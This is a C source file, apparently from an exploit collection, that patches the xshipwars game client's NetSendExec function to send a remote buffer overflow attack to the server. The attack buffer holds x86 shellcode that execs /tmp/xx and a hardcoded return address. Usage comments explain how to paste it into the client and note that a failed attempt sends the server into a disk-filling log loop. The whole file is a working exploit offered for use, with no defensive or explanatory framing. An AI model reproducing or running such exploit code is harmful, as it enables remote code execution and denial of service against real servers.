home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / xshipwars / netxhack.c < prev   
Text File  |  2005-02-12  |  2KB  |  76 lines

  1. /* If the offset is off for your box, then the server will still crash,
  2.  and will begin an endless loop of sending itself log messages,
  3.  filling up whatever space it can on whatever partition it's installed
  4.  on. This is less than optimal behavior, so quickly find and kill the
  5.  server if your exploit fails. 
  6.  
  7.        Love,
  8.        A. Woodward, Dec 1999
  9.  
  10. <cut this and paste it into your client's source file, modify your
  11. .h's to raise the limit on a few variables (grep for 256 and turn them
  12. into 2560), recompile, and enjoy> */
  13.  
  14. /*
  15.  *    Sends a literal command.
  16.  */
  17. /*hacked to send our attack buffer!*/
  18.  
  19. int 
  20. NetSendExec(char *arg)
  21. {
  22.   char larg[CS_MESG_MAX];
  23.   char sndbuf[CS_DATA_MAX_LEN];
  24.   char exploitbuf[CS_DATA_MAX_LEN];
  25.   int i;
  26.  
  27.   /*test shellcode. No whitespace, just exec's /tmp/xx. If it's not
  28.     there, does random things. Replace this for slightly more
  29.     fun. ;> */
  30.       char code[] ="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
  31.        "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
  32.        "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/tmp/xx";
  33.     
  34.  
  35.     
  36. #define SIZEOFBUF 229
  37.     memset(exploitbuf,0x41,SIZEOFBUF);
  38.  
  39. #define SHELLSTART 50
  40.     memcpy(exploitbuf+SHELLSTART,code,strlen(code));
  41.     
  42.     /*Return to: 0xbfffebe4 Your Kilometerage May Vary*/
  43.     exploitbuf[132]=0xe4;
  44.     exploitbuf[133]=0xeb;
  45.     exploitbuf[134]=0xff;
  46.     exploitbuf[135]=0xbf;
  47.     
  48.     exploitbuf[SIZEOFBUF-1]=0;
  49.  
  50.     /*
  51.     if(arg == NULL)
  52.         return(-1);
  53.     if(arg[0] == '\0')
  54.         return(-2);
  55.     */
  56.  
  57.     /*strncpy(larg, arg, CS_MESG_MAX);*/
  58.     strncpy(larg, exploitbuf, CS_MESG_MAX);
  59.     larg[CS_MESG_MAX - 1] = '\0';
  60.     
  61.  
  62.         /* 
  63.          *   NET_CMD_EXEC format is as follows:
  64.          *
  65.          *      argument
  66.          */
  67.         sprintf(sndbuf, "%i %s\n",
  68.                 CS_CODE_LITERALCMD,
  69.                 larg
  70.         );
  71.         NetSendData(sndbuf);
  72.  
  73.  
  74.     return(0);
  75. }
  76.